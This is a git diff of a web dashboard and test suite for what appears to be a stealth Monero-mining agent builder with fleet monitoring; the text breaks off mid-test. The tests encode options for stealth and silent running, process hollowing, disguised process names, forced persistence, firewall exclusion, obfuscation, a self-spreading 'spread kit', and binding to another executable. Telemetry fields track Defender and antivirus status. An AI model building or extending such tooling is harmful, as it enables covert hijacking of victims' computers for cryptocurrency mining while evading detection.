"https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz", @@ -3284,6 +3510,19 @@ "node": ">=8" } }, + "node_modules/strip-indent": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz", + "integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "min-indent": "^1.0.0" + }, + "engines": { + "node": ">=8" + } + }, "node_modules/suspend-react": { "version": "0.1.3", "resolved": "https://registry.npmjs.org/suspend-react/-/suspend-react-0.1.3.tgz", diff --git a/server/web/package.json b/server/web/package.json index c9547ea..3803e6e 100644 --- a/server/web/package.json +++ b/server/web/package.json @@ -25,6 +25,9 @@ }, "devDependencies": { "@playwright/test": "^1.49.0", + "@testing-library/jest-dom": "^6.9.1", + "@testing-library/react": "^16.3.2", + "@testing-library/user-event": "^14.6.1", "@types/react": "^18.2.37", "@types/react-dom": "^18.2.15", "@vitejs/plugin-react": "^4.2.0", diff --git a/server/web/src/context/WebSocketProvider.tsx b/server/web/src/context/WebSocketProvider.tsx index ed19ef3..f36a7e6 100644 --- a/server/web/src/context/WebSocketProvider.tsx +++ b/server/web/src/context/WebSocketProvider.tsx @@ -115,6 +115,17 @@ export function WebSocketProvider({ children }: { children: React.ReactNode }) { ), status: 'online' as const, ...(update.ssh_available !== undefined ? { ssh_available: update.ssh_available } : {}), + ...(update.posture_score !== undefined ? { posture_score: update.posture_score } : {}), + ...(update.last_patch_days !== undefined ? { last_patch_days: update.last_patch_days } : {}), + ...(update.defender_rtp !== undefined ? { defender_rtp: update.defender_rtp } : {}), + ...(update.av_products !== undefined ? { av_products: update.av_products } : {}), + ...(update.firewall_domain !== undefined ? { firewall_domain: update.firewall_domain } : {}), + ...(update.firewall_private !== undefined ? { firewall_private: update.firewall_private } : {}), + ...(update.firewall_public !== undefined ? { firewall_public: update.firewall_public } : {}), + ...(update.last_patch !== undefined ? { last_patch: update.last_patch } : {}), + ...(update.pending_updates !== undefined ? { pending_updates: update.pending_updates } : {}), + ...(update.reboot_pending !== undefined ? { reboot_pending: update.reboot_pending } : {}), + ...(update.agent_elevated !== undefined ? { agent_elevated: update.agent_elevated } : {}), } : a ) diff --git a/server/web/src/help/endpointHelpers.test.ts b/server/web/src/help/endpointHelpers.test.ts new file mode 100644 index 0000000..ffe74a4 --- /dev/null +++ b/server/web/src/help/endpointHelpers.test.ts @@ -0,0 +1,40 @@ +import { describe, expect, it } from 'vitest'; +import { formatLanEndpoint, lanEndpointCandidates } from './endpointHelpers'; +import type { ServerInfo } from '../types'; + +describe('formatLanEndpoint', () => { + it('strips scheme and path from host', () => { + expect(formatLanEndpoint('https://192.168.1.5:8989/extra', 8989)).toBe('http://192.168.1.5:8989'); + }); + + it('builds http URL from bare IP', () => { + expect(formatLanEndpoint('10.0.0.2', 7777)).toBe('http://10.0.0.2:7777'); + }); +}); + +describe('lanEndpointCandidates', () => { + it('dedupes suggested URL and local IPs', () => { + const info: ServerInfo = { + port: 8989, + host: 'localhost', + local_ips: ['192.168.1.10', '192.168.1.10'], + suggested_url: 'http://192.168.1.10:8989', + dashboard_url: 'http://192.168.1.10:8989', + websocket_url: 'ws://192.168.1.10:8989/ws/agent', + }; + const urls = lanEndpointCandidates(info); + expect(urls).toEqual(['http://192.168.1.10:8989']); + }); + + it('honours port override', () => { + const info: ServerInfo = { + port: 8989, + host: 'localhost', + local_ips: ['10.0.0.1'], + suggested_url: '', + dashboard_url: '', + websocket_url: '', + }; + expect(lanEndpointCandidates(info, 9000)).toEqual(['http://10.0.0.1:9000']); + }); +}); diff --git a/server/web/src/help/fleetAnalytics.test.ts b/server/web/src/help/fleetAnalytics.test.ts new file mode 100644 index 0000000..9dfd137 --- /dev/null +++ b/server/web/src/help/fleetAnalytics.test.ts @@ -0,0 +1,133 @@ +import { describe, expect, it } from 'vitest'; +import { + computeFleetHealth, + contributionBars, + findUnderperformers, + fleetMedianHashrate, + groupBySubnet, + osArchBreakdown, + staleAgentIds, + timeToPayout, +} from './fleetAnalytics'; +import type { Agent, PoolStatus } from '../types'; + +const agent = (overrides: Partial<Agent> = {}): Agent => ({ + id: 'a1', + name: 'node-1', + status: 'online', + hashrate_15m: 1000, + shares_total: 100, + shares_good: 98, + ip: '192.168.1.10', + platform: 'windows', + arch: 'amd64', + last_seen: new Date().toISOString(), + ...overrides, +} as Agent); + +describe('computeFleetHealth', () => { + it('returns NOMINAL for healthy fleet', () => { + const agents = [agent(), agent({ id: 'a2', name: 'node-2', hashrate_15m: 900 })]; + const pools: PoolStatus[] = [{ name: 'primary', status: 'green' }]; + const health = computeFleetHealth(agents, pools); + expect(health.label).toBe('NOMINAL'); + expect(health.score).toBeGreaterThanOrEqual(80); + expect(health.issues).toHaveLength(0); + }); + + it('flags offline nodes and pool degradation', () => { + const agents = [agent(), agent({ id: 'a2', status: 'offline', hashrate_15m: 0 })]; + const pools: PoolStatus[] = [{ name: 'primary', status: 'red' }]; + const health = computeFleetHealth(agents, pools); + expect(health.label).not.toBe('NOMINAL'); + expect(health.issues.some((i) => i.includes('offline'))).toBe(true); + expect(health.issues.some((i) => i.includes('pool'))).toBe(true); + }); +}); + +describe('contributionBars', () => { + it('sorts online agents by hashrate share', () => { + const bars = contributionBars([ + agent({ id: 'a1', hashrate_15m: 300 }), + agent({ id: 'a2', hashrate_15m: 700 }), + agent({ id: 'a3', status: 'offline', hashrate_15m: 9999 }), + ]); + expect(bars).toHaveLength(2); + expect(bars[0].id).toBe('a2'); + expect(bars[0].pct).toBeCloseTo(70, 1); + }); +}); + +describe('findUnderperformers', () => { + it('returns agents below 70% of median', () => { + const agents = [ + agent({ id: 'fast', hashrate_15m: 1000 }), + agent({ id: 'slow', hashrate_15m: 500 }), + agent({ id: 'mid', hashrate_15m: 900 }), + ]; + const under = findUnderperformers(agents); + expect(under.map((a) => a.id)).toEqual(['slow']); + }); + + it('returns empty when fewer than 2 online miners', () => { + expect(findUnderperformers([agent()])).toEqual([]); + }); +}); + +describe('fleetMedianHashrate', () => { + it('computes median of online non-zero agents', () => { + const med = fleetMedianHashrate([ + agent({ hashrate_15m: 100 }), + agent({ id: 'a2', hashrate_15m: 300 }), + agent({ id: 'a3', hashrate_15m: 200 }), + ]); + expect(med).toBe(200); + }); +}); + +describe('groupBySubnet', () => { + it('groups by /24 prefix', () => { + const groups = groupBySubnet([ + agent({ ip: '10.0.0.1' }), + agent({ id: 'a2', ip: '10.0.0.2' }), + agent({ id: 'a3', ip: '192.168.5.9' }), + ]); + expect(groups).toHaveLength(2); + expect(groups[0].subnet).toBe('10.0.0.x'); + expect(groups[0].agents).toHaveLength(2); + }); +}); + +describe('osArchBreakdown', () => { + it('labels platforms for display', () => { + const rows = osArchBreakdown([ + agent({ platform: 'linux', arch: 'amd64' }), + agent({ id: 'a2', platform: 'darwin', arch: 'arm64' }), + ]); + expect(rows.some((r) => r.label.includes('Linux'))).toBe(true); + expect(rows.some((r) => r.label.includes('macOS'))).toBe(true); + }); +}); + +describe('staleAgentIds', () => { + it('flags online agents not seen in 5+ minutes', () => { + const staleTime = new Date(Date.now() - 6 * 60 * 1000).toISOString(); + const ids = staleAgentIds([ + agent({ id: 'fresh', last_seen: new Date().toISOString() }), + agent({ id: 'stale', last_seen: staleTime }), + ]); + expect(ids.has('stale')).toBe(true); + expect(ids.has('fresh')).toBe(false); + }); +}); + +describe('timeToPayout', () => { + it('returns days until payout', () => { + expect(timeToPayout(0.5, 0.25)).toBe(2); + }); + + it('returns null when data missing', () => { + expect(timeToPayout(undefined, 1)).toBeNull(); + expect(timeToPayout(1, 0)).toBeNull(); + }); +}); diff --git a/server/web/src/help/fleetAnalytics.ts b/server/web/src/help/fleetAnalytics.ts index 0b1942d..5870473 100644 --- a/server/web/src/help/fleetAnalytics.ts +++ b/server/web/src/help/fleetAnalytics.ts @@ -86,9 +86,9 @@ export function computeFleetHealth(agents: Agent[], pools: PoolStatus[]): FleetH // ─── Contribution Map ───────────────────────────────────────────────────────── export function contributionBars(agents: Agent[]): ContributionBar[] { - const total = agents.reduce((s, a) => s + a.hashrate_15m, 0); - return agents - .filter((a) => a.status === 'online') + const online = agents.filter((a) => a.status === 'online'); + const total = online.reduce((s, a) => s + a.hashrate_15m, 0); + return online .map((a) => ({ id: a.id, name: a.name, diff --git a/server/web/src/help/forgeCompatibility.test.ts b/server/web/src/help/forgeCompatibility.test.ts new file mode 100644 index 0000000..9209e1a --- /dev/null +++ b/server/web/src/help/forgeCompatibility.test.ts @@ -0,0 +1,273 @@ +import { describe, expect, it } from 'vitest'; +import { runForgeCompatibilityChecks } from './forgeCompatibility'; +import { FORGE_BUILD_DEFAULTS } from './forgeDefaults'; +import type { BuildRequest } from '../types'; + +/** Valid mainnet-style Monero address (95 chars, starts with 4). */ +const VALID_WALLET = '4' + 'A'.repeat(94); + +function baseForm(overrides: Partial<BuildRequest> = {}): BuildRequest { + return { + worker_name: 'pc-lab-1', + server_url: 'http://192.168.1.10:8989', + wallet: VALID_WALLET, + pool_host: 'pool.supportxmr.com', + pool_port: 3333, + pool_tls: true, + pool_pass: 'x', + ...FORGE_BUILD_DEFAULTS, + ...overrides, + } as BuildRequest; +} + +function hasCheck(form: BuildRequest, fusionPrep: boolean, id: string, level?: string) { + const checks = runForgeCompatibilityChecks(form, fusionPrep); + const match = checks.find((c) => c.id === id); + if (!match) return false; + return level === undefined || match.level === level; +} + +describe('runForgeCompatibilityChecks', () => { + it('returns no errors for a fully valid form', () => { + const checks = runForgeCompatibilityChecks(baseForm(), false); + const errors = checks.filter((c) => c.level === 'error'); + expect(errors).toHaveLength(0); + expect(checks.some((c) => c.id === 'forge_ready' && c.level === 'ok')).toBe(true); + }); + + describe('stealth and display', () => { + it('errors when stealth mode uses visible display', () => { + expect( + hasCheck(baseForm({ stealth_mode: true, display_mode: 'visible' }), false, 'stealth_display', 'error') + ).toBe(true); + }); + + it('errors when stealth mode enables file logging', () => { + expect(hasCheck(baseForm({ stealth_mode: true, file_logging: true }), false, 'stealth_logs', 'error')).toBe( + true + ); + }); + + it('errors when fusion uses visible display', () => { + expect( + hasCheck(baseForm({ fusion_enabled: true, display_mode: 'visible' }), false, 'fusion_display', 'error') + ).toBe(true); + }); + }); + + describe('idle mining mode', () => { + it('errors when idle threshold is out of range', () => { + expect( + hasCheck(baseForm({ mining_mode: 'idle', idle_threshold_pct: 0 }), false, 'idle_threshold', 'error') + ).toBe(true); + expect( + hasCheck(baseForm({ mining_mode: 'idle', idle_threshold_pct: 101 }), false, 'idle_threshold', 'error') + ).toBe(true); + }); + + it('errors when idle duration is below 1 minute', () => { + expect( + hasCheck(baseForm({ mining_mode: 'idle', idle_duration_minutes: 0 }), false, 'idle_duration', 'error') + ).toBe(true); + }); + + it('does not check idle fields when mining mode is not idle', () => { + expect(hasCheck(baseForm({ mining_mode: 'always', idle_threshold_pct: 0 }), false, 'idle_threshold')).toBe( + false + ); + }); + }); + + describe('scheduled mining mode', () => { + it('errors when schedule times are missing', () => { + expect( + hasCheck( + baseForm({ mining_mode: 'scheduled', schedule_start: '', schedule_end: '' }), + false, + 'schedule', + 'error' + ) + ).toBe(true); + }); + + it('passes when both schedule times are set', () => { + expect( + hasCheck( + baseForm({ mining_mode: 'scheduled', schedule_start: '22:00', schedule_end: '06:00' }), + false, + 'schedule' + ) + ).toBe(false); + }); + }); + + describe('threads and CPU limits', () => { + it('warns when adapt_to_hardware is on with fixed thread mode', () => { + expect( + hasCheck(baseForm({ thread_mode: 'fixed', adapt_to_hardware: true }), false, 'adapt_fixed', 'warn') + ).toBe(true); + }); + + it('errors when thread percent is out of range', () => { + expect( + hasCheck(baseForm({ thread_mode: 'percent', thread_percent: 0 }), false, 'thread_percent_range', 'error') + ).toBe(true); + expect( + hasCheck(baseForm({ thread_mode: 'percent', thread_percent: 101 }), false, 'thread_percent_range', 'error') + ).toBe(true); + }); + + it('errors when max CPU usage is out of range', () => { + expect(hasCheck(baseForm({ max_cpu_usage_pct: 0 }), false, 'max_cpu', 'error')).toBe(true); + expect(hasCheck(baseForm({ max_cpu_usage_pct: 101 }), false, 'max_cpu', 'error')).toBe(true); + }); + + it('errors when max memory is out of range', () => { + expect(hasCheck(baseForm({ max_memory_percent: 9 }), false, 'max_mem', 'error')).toBe(true); + expect(hasCheck(baseForm({ max_memory_percent: 96 }), false, 'max_mem', 'error')).toBe(true); + }); + }); + + describe('pool configuration', () => { + it('errors when pool port is out of range', () => { + expect(hasCheck(baseForm({ pool_port: 0 }), false, 'pool_port', 'error')).toBe(true); + expect(hasCheck(baseForm({ pool_port: 70000 }), false, 'pool_port', 'error')).toBe(true); + }); + + it('warns on port 443 without TLS', () => { + expect(hasCheck(baseForm({ pool_port: 443, pool_tls: false }), false, 'pool_tls_443', 'warn')).toBe(true); + }); + + it('warns on TLS with port 3333', () => { + expect(hasCheck(baseForm({ pool_port: 3333, pool_tls: true }), false, 'pool_tls_3333', 'warn')).toBe(true); + }); + + it('warns when pool password is empty', () => { + expect(hasCheck(baseForm({ pool_pass: ' ' }), false, 'pool_pass', 'warn')).toBe(true); + }); + }); + + describe('run mode and AI', () => { + it('warns when run_as is service', () => { + expect(hasCheck(baseForm({ run_as: 'service' }), false, 'run_as_service', 'warn')).toBe(true); + }); + + it('warns when AI uses 127.0.0.1 endpoint', () => { + expect( + hasCheck( + baseForm({ ai_enabled: true, ai_ollama_endpoint: 'http://127.0.0.1:11434' }), + false, + 'ai_localhost', + 'warn' + ) + ).toBe(true); + }); + + it('warns when AI is enabled without self-healing', () => { + expect(hasCheck(baseForm({ ai_enabled: true, self_healing: false }), false, 'ai_no_heal', 'warn')).toBe(true); + }); + }); + + describe('identity fields', () => { + it('errors when process name is empty', () => { + expect(hasCheck(baseForm({ process_name: ' ' }), false, 'process_name_empty', 'error')).toBe(true); + }); + + it('warns when process name has unusual characters', () => { + expect(hasCheck(baseForm({ process_name: 'bad name!' }), false, 'process_name', 'warn')).toBe(true); + }); + + it('errors when worker name is empty', () => { + expect(hasCheck(baseForm({ worker_name: '' }), false, 'worker_name_empty', 'error')).toBe(true); + }); + + it('errors when server URL uses localhost', () => { + expect( + hasCheck(baseForm({ server_url: 'http://localhost:8989' }), false, 'server_url_localhost', 'error') + ).toBe(true); + }); + + it('errors when server URL uses 127.0.0.1', () => { + expect( + hasCheck(baseForm({ server_url: 'http://127.0.0.1:8989' }), false, 'server_url_localhost', 'error') + ).toBe(true); + }); + + it('warns when wallet does not match Monero format', () => { + expect(hasCheck(baseForm({ wallet: 'not-a-wallet' }), false, 'wallet_invalid', 'warn')).toBe(true); + }); + + it('accepts minimum-length wallet (90 chars)', () => { + const wallet = '4' + 'A'.repeat(89); + expect(wallet.length).toBe(90); + expect(hasCheck(baseForm({ wallet }), false, 'wallet_invalid')).toBe(false); + }); + + it('accepts subaddress starting with 8', () => { + const subaddress = '8' + 'B'.repeat(94); + expect(hasCheck(baseForm({ wallet: subaddress }), false, 'wallet_invalid')).toBe(false); + }); + + it('emits forge_ready when core config is coherent', () => { + const checks = runForgeCompatibilityChecks(baseForm(), false); + const ready = checks.find((c) => c.id === 'forge_ready'); + expect(ready?.level).toBe('ok'); + expect(ready?.message).toContain('Core miner config looks coherent'); + }); + }); + + describe('fusion and deliverables', () => { + it('emits fusion_ready when prep is attached', () => { + expect(hasCheck(baseForm({ fusion_enabled: true }), true, 'fusion_ready', 'ok')).toBe(true); + }); + + it('errors when spread kit targets non-universal OS', () => { + expect( + hasCheck(baseForm({ spread_kit: true, target_os: 'windows' }), false, 'spread_kit_os', 'error') + ).toBe(true); + }); + + it('errors when spread kit and fusion are both enabled', () => { + expect( + hasCheck(baseForm({ spread_kit: true, fusion_enabled: true }), false, 'spread_fusion', 'error') + ).toBe(true); + }); + + it('warns when universal has no spread kit or fusion', () => { + expect( + hasCheck( + baseForm({ target_os: 'universal', spread_kit: false, fusion_enabled: false }), + false, + 'universal_deliverable', + 'warn' + ) + ).toBe(true); + }); + }); + + describe('platform-specific constraints', () => { + it('errors when process hollowing is set on Linux', () => { + expect( + hasCheck(baseForm({ target_os: 'linux', process_hollowing: true }), false, 'hollow_unix', 'error') + ).toBe(true); + }); + + it('errors when process hollowing is set on macOS', () => { + expect( + hasCheck(baseForm({ target_os: 'darwin', process_hollowing: true }), false, 'hollow_unix', 'error') + ).toBe(true); + }); + + it('errors when sign_build is set on Linux', () => { + expect(hasCheck(baseForm({ target_os: 'linux', sign_build: true }), false, 'sign_unix', 'error')).toBe( + true + ); + }); + + it('errors when sign_build is set on macOS', () => { + expect(hasCheck(baseForm({ target_os: 'darwin', sign_build: true }), false, 'sign_unix', 'error')).toBe( + true + ); + }); + }); +}); diff --git a/server/web/src/help/forgeCompatibility.ts b/server/web/src/help/forgeCompatibility.ts index 38a1b28..154605c 100644 --- a/server/web/src/help/forgeCompatibility.ts +++ b/server/web/src/help/forgeCompatibility.ts @@ -190,7 +190,7 @@ export function runForgeCompatibilityChecks(form: BuildRequest, fusionPrepSelect checks.push({ id: 'wallet_invalid', level: 'warn', - message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 95-106). Double check it.', + message: 'Wallet address does not match standard Monero format (starting with 4 or 8, length 90-106). Double check it.', }); } diff --git a/server/web/src/help/forgeRules.test.ts b/server/web/src/help/forgeRules.test.ts new file mode 100644 index 0000000..c2db535 --- /dev/null +++ b/server/web/src/help/forgeRules.test.ts @@ -0,0 +1,427 @@ +import { describe, expect, it } from 'vitest'; +import { + FORGE_SECTIONS, + applyForgeFieldUpdate, + forgeBadgeLabel, + getForgeFieldMeta, + getForgeLiveNotices, + type ForgeFieldBadge, +} from './forgeRules'; +import { FORGE_BUILD_DEFAULTS } from './forgeDefaults'; +import type { BuildRequest } from '../types'; + +function baseForm(overrides: Partial<BuildRequest> = {}): BuildRequest { + return { + worker_name: 'pc-lab-1', + server_url: 'http://192.168.1.10:8989', + wallet: '4' + 'A'.repeat(94), + pool_host: 'pool.supportxmr.com', + pool_port: 3333, + pool_tls: false, + pool_pass: 'x', + ...FORGE_BUILD_DEFAULTS, + ...overrides, + } as BuildRequest; +} + +describe('FORGE_SECTIONS', () => { + it('defines six sections in order', () => { + expect(FORGE_SECTIONS).toHaveLength(6); + expect(FORGE_SECTIONS.map((s) => s.id)).toEqual([ + 'identity', + 'pool', + 'performance', + 'install', + 'fusion', + 'ai', + ]); + }); + + it('each section has id, title, description, and baked badge', () => { + for (const section of FORGE_SECTIONS) { + expect(section.id.length).toBeGreaterThan(0); + expect(section.title.length).toBeGreaterThan(0); + expect(section.description.length).toBeGreaterThan(0); + expect(section.badge).toBe('baked'); + } + }); + + it('uses expected section titles', () => { + const titles = Object.fromEntries(FORGE_SECTIONS.map((s) => [s.id, s.title])); + expect(titles.identity).toBe('Identity'); + expect(titles.pool).toBe('Pool Configuration'); + expect(titles.performance).toBe('Performance & Resources'); + expect(titles.install).toBe('Install & Process'); + expect(titles.fusion).toBe('Fusion'); + expect(titles.ai).toBe('AI Autonomy'); + }); +}); + +describe('forgeBadgeLabel', () => { + const cases: [ForgeFieldBadge, string][] = [ + ['baked', 'Baked into installer'], + ['server-only', 'Server folder only — not in .exe'], + ['requires', 'Required when parent option is on'], + ]; + + it.each(cases)('maps %s badge to label', (badge, label) => { + expect(forgeBadgeLabel(badge)).toBe(label); + }); +}); + +describe('applyForgeFieldUpdate', () => { + it('stealth_mode disables logging and forces silent/background', () => { + const out = applyForgeFieldUpdate( + baseForm({ display_mode: 'visible', file_logging: true, silent_mode: false }), + 'stealth_mode', + true + ); + expect(out.stealth_mode).toBe(true); + expect(out.file_logging).toBe(false); + expect(out.display_mode).toBe('background'); + expect(out.silent_mode).toBe(true); + }); + + it('display_mode visible clears stealth and silent', () => { + const out = applyForgeFieldUpdate( + baseForm({ stealth_mode: true, silent_mode: true }), + 'display_mode', + 'visible' + ); + expect(out.display_mode).toBe('visible'); + expect(out.stealth_mode).toBe(false); + expect(out.silent_mode).toBe(false); + }); + + it('display_mode silent/background enables silent_mode', () => { + expect(applyForgeFieldUpdate(baseForm({ silent_mode: false }), 'display_mode', 'silent').silent_mode).toBe( + true + ); + expect( + applyForgeFieldUpdate(baseForm({ silent_mode: false }), 'display_mode', 'background').silent_mode + ).toBe(true); + }); + + it('persistence and auto_start stay linked', () => { + expect(applyForgeFieldUpdate(baseForm({ auto_start: false }), 'persistence', true).auto_start).toBe(true); + expect(applyForgeFieldUpdate(baseForm({ persistence: false }), 'auto_start', true).persistence).toBe(true); + }); + + it('linux target clears Windows-only flags and fixes install base', () => { + const out = applyForgeFieldUpdate( + baseForm({ + target_os: 'windows', + process_hollowing: true, + sign_build: true, + obfuscate: true, + install_base: 'localappdata', + }), + 'target_os', + 'linux' + ); + expect(out.target_os).toBe('linux'); + expect(out.target_arch).toBe('amd64'); + expect(out.process_hollowing).toBe(false); + expect(out.sign_build).toBe(false); + expect(out.obfuscate).toBe(false); + expect(out.spread_kit).toBe(false); + expect(out.install_base).toBe('xdg_data_home'); + }); + + it('darwin target defaults to arm64', () => { + const out = applyForgeFieldUpdate(baseForm(), 'target_os', 'darwin'); + expect(out.target_os).toBe('darwin'); + expect(out.target_arch).toBe('arm64'); + }); + + it('windows target restores localappdata from xdg path', () => { + const out = applyForgeFieldUpdate(baseForm({ install_base: 'xdg_data_home' }), 'target_os', 'windows'); + expect(out.target_os).toBe('windows'); + expect(out.target_arch).toBe('all'); + expect(out.install_base).toBe('localappdata'); + }); + + it('universal target on single deliverable normalizes back to windows', () => { + const out = applyForgeFieldUpdate(baseForm(), 'target_os', 'universal'); + expect(out.target_os).toBe('windows'); + expect(out.target_arch).toBe('all'); + }); + + it('universal target stays when spread kit is active', () => { + const out = applyForgeFieldUpdate(baseForm({ spread_kit: true }), 'target_os', 'universal'); + expect(out.target_os).toBe('universal'); + expect(out.target_arch).toBe('all'); + }); + + it('fusion_enabled forces background, clears spread kit, and universal target', () => { + const out = applyForgeFieldUpdate( + baseForm({ spread_kit: true, display_mode: 'visible', target_os: 'windows' }), + 'fusion_enabled', + true + ); + expect(out.fusion_enabled).toBe(true); + expect(out.display_mode).toBe('background'); + expect(out.silent_mode).toBe(true); + expect(out.spread_kit).toBe(false); + expect(out.target_os).toBe('universal'); + }); + + it('spread_kit applies full preset and clears fusion', () => { + const out = applyForgeFieldUpdate(baseForm({ fusion_enabled: true }), 'spread_kit', true); + expect(out.spread_kit).toBe(true); + expect(out.fusion_enabled).toBe(false); + expect(out.target_os).toBe('universal'); + expect(out.target_arch).toBe('all'); + expect(out.run_as).toBe('scheduled'); + expect(out.persistence).toBe(true); + expect(out.auto_start).toBe(true); + expect(out.self_healing).toBe(true); + expect(out.stealth_mode).toBe(true); + expect(out.silent_mode).toBe(true); + expect(out.file_logging).toBe(false); + expect(out.firewall_exclusion).toBe(true); + expect(out.display_mode).toBe('background'); + expect(out.process_hollowing).toBe(false); + }); + + it('thread_mode fixed sets minimum threads', () => { + const out = applyForgeFieldUpdate(baseForm({ threads: 0 }), 'thread_mode', 'fixed'); + expect(out.thread_mode).toBe('fixed'); + expect(out.threads).toBeGreaterThanOrEqual(1); + }); + + it('thread_mode percent clamps invalid thread_percent', () => { + const out = applyForgeFieldUpdate(baseForm({ thread_percent: 0 }), 'thread_mode', 'percent'); + expect(out.thread_percent).toBe(75); + }); + + it('install_base non-custom clears custom path', () => { + const out = applyForgeFieldUpdate( + baseForm({ install_custom_base: 'C:\\custom', install_base: 'custom' }), + 'install_base', + 'localappdata' + ); + expect(out.install_base).toBe('localappdata'); + expect(out.install_custom_base).toBe(''); + }); + + it('run_as scheduled/service forces persistence flags', () => { + const scheduled = applyForgeFieldUpdate(baseForm({ persistence: false, auto_start: false }), 'run_as', 'scheduled'); + expect(scheduled.persistence).toBe(true); + expect(scheduled.auto_start).toBe(true); + + const service = applyForgeFieldUpdate(baseForm({ persistence: false }), 'run_as', 'service'); + expect(service.persistence).toBe(true); + expect(service.auto_start).toBe(true); + }); + + it('ai_enabled fills default endpoint and model when empty', () => { + const out = applyForgeFieldUpdate( + baseForm({ ai_ollama_endpoint: '', ai_model: '' }), + 'ai_enabled', + true + ); + expect(out.ai_enabled).toBe(true); + expect(out.ai_ollama_endpoint).toBe('http://localhost:11434'); + expect(out.ai_model).toBe('llama3.2'); + }); + + it('pool_port 443 auto-enables TLS', () => { + const out = applyForgeFieldUpdate(baseForm({ pool_tls: false }), 'pool_port', 443); + expect(out.pool_port).toBe(443); + expect(out.pool_tls).toBe(true); + }); + + it('worker_name update does not auto-derive process_name', () => { + const out = applyForgeFieldUpdate(baseForm({ process_name: 'RuntimeBrokerHelper' }), 'worker_name', 'new-worker'); + expect(out.worker_name).toBe('new-worker'); + expect(out.process_name).toBe('RuntimeBrokerHelper'); + }); +}); + +describe('getForgeFieldMeta', () => { + it('returns meta for all known forge fields', () => { + const meta = getForgeFieldMeta(baseForm()); + const expectedKeys = [ + 'worker_name', + 'server_url', + 'wallet', + 'output_dir', + 'pool_host', + 'pool_port', + 'thread_mode', + 'thread_percent', + 'threads', + 'fusion_enabled', + 'spread_kit', + 'target_os', + 'target_arch', + 'obfuscate', + 'sign_build', + ]; + for (const key of expectedKeys) { + expect(meta[key]).toBeDefined(); + } + }); + + it('disables thread_percent when thread mode is fixed', () => { + const meta = getForgeFieldMeta(baseForm({ thread_mode: 'fixed' })); + expect(meta.thread_percent.disabled).toBe(true); + expect(meta.threads.disabled).toBe(false); + expect(meta.adapt_to_hardware.disabled).toBe(true); + }); + + it('disables threads when thread mode is percent', () => { + const meta = getForgeFieldMeta(baseForm({ thread_mode: 'percent' })); + expect(meta.threads.disabled).toBe(true); + expect(meta.thread_percent.disabled).toBe(false); + }); + + it('disables idle fields unless mining mode is idle', () => { + const idle = getForgeFieldMeta(baseForm({ mining_mode: 'idle' })); + expect(idle.idle_threshold_pct.disabled).toBe(false); + expect(idle.idle_duration_minutes.disabled).toBe(false); + + const always = getForgeFieldMeta(baseForm({ mining_mode: 'always' })); + expect(always.idle_threshold_pct.disabled).toBe(true); + expect(always.idle_duration_minutes.disabled).toBe(true); + }); + + it('disables schedule fields unless mining mode is scheduled', () => { + const scheduled = getForgeFieldMeta(baseForm({ mining_mode: 'scheduled' })); + expect(scheduled.schedule_start.disabled).toBe(false); + expect(scheduled.schedule_end.disabled).toBe(false); + + const always = getForgeFieldMeta(baseForm({ mining_mode: 'always' })); + expect(always.schedule_start.disabled).toBe(true); + }); + + it('locks file_logging under stealth mode', () => { + const meta = getForgeFieldMeta(baseForm({ stealth_mode: true })); + expect(meta.file_logging.disabled).toBe(true); + expect(meta.file_logging.lockedReason).toContain('Stealth mode'); + }); + + it('locks persistence under scheduled/service run_as', () => { + const meta = getForgeFieldMeta(baseForm({ run_as: 'scheduled' })); + expect(meta.persistence.disabled).toBe(true); + expect(meta.auto_start.disabled).toBe(true); + }); + + it('locks fusion when spread kit is on and vice versa', () => { + const spread = getForgeFieldMeta(baseForm({ spread_kit: true })); + expect(spread.fusion_enabled.disabled).toBe(true); + expect(spread.target_os.disabled).toBe(true); + + const fusion = getForgeFieldMeta(baseForm({ fusion_enabled: true })); + expect(fusion.spread_kit.disabled).toBe(true); + expect(fusion.target_os.disabled).toBe(true); + }); + + it('requires fusion fields only when fusion is enabled', () => { + const off = getForgeFieldMeta(baseForm({ fusion_enabled: false })); + expect(off.fusion_prep.disabled).toBe(true); + expect(off.fusion_run_order.badge).toBe('requires'); + + const on = getForgeFieldMeta(baseForm({ fusion_enabled: true })); + expect(on.fusion_prep.disabled).toBe(false); + }); + + it('disables unix-incompatible fields on linux/darwin', () => { + const linux = getForgeFieldMeta(baseForm({ target_os: 'linux' })); + expect(linux.process_hollowing.disabled).toBe(true); + expect(linux.obfuscate.disabled).toBe(true); + expect(linux.target_arch.disabled).toBe(false); + + const windows = getForgeFieldMeta(baseForm({ target_os: 'windows' })); + expect(windows.target_arch.disabled).toBe(true); + expect(windows.sign_build.disabled).toBe(false); + }); + + it('marks output_dir and obfuscate as server-only', () => { + const meta = getForgeFieldMeta(baseForm()); + expect(meta.output_dir.badge).toBe('server-only'); + expect(meta.obfuscate.badge).toBe('server-only'); + }); +}); + +describe('getForgeLiveNotices', () => { + it('returns empty array for a plain windows form', () => { + const notices = getForgeLiveNotices(baseForm({ target_os: 'windows', spread_kit: false }), false); + expect(notices).toEqual([]); + }); + + it('warns about service run mode', () => { + const notices = getForgeLiveNotices(baseForm({ run_as: 'service' }), false); + expect(notices.some((n) => n.includes('scheduled task'))).toBe(true); + }); + + it('warns when scheduled/service lacks persistence', () => { + const notices = getForgeLiveNotices( + baseForm({ run_as: 'scheduled', persistence: false }), + false + ); + expect(notices.some((n) => n.includes('Persistence is forced on'))).toBe(true); + }); + + it('warns when fusion enabled without prep upload', () => { + const notices = getForgeLiveNotices(baseForm({ fusion_enabled: true }), false); + expect(notices.some((n) => n.includes('upload prep.exe'))).toBe(true); + }); + + it('includes AI Ollama notice when AI is enabled', () => { + const notices = getForgeLiveNotices(baseForm({ ai_enabled: true }), false); + expect(notices.some((n) => n.includes('Ollama'))).toBe(true); + }); + + it('warns when fixed threads ignores adapt_to_hardware', () => { + const notices = getForgeLiveNotices( + baseForm({ thread_mode: 'fixed', adapt_to_hardware: true }), + false + ); + expect(notices.some((n) => n.includes('Adapt to hardware'))).toBe(true); + }); + + it('warns on pool TLS/port mismatches', () => { + const p443 = getForgeLiveNotices(baseForm({ pool_port: 443, pool_tls: false }), false); + expect(p443.some((n) => n.includes('Port 443'))).toBe(true); + + const p3333 = getForgeLiveNotices(baseForm({ pool_port: 3333, 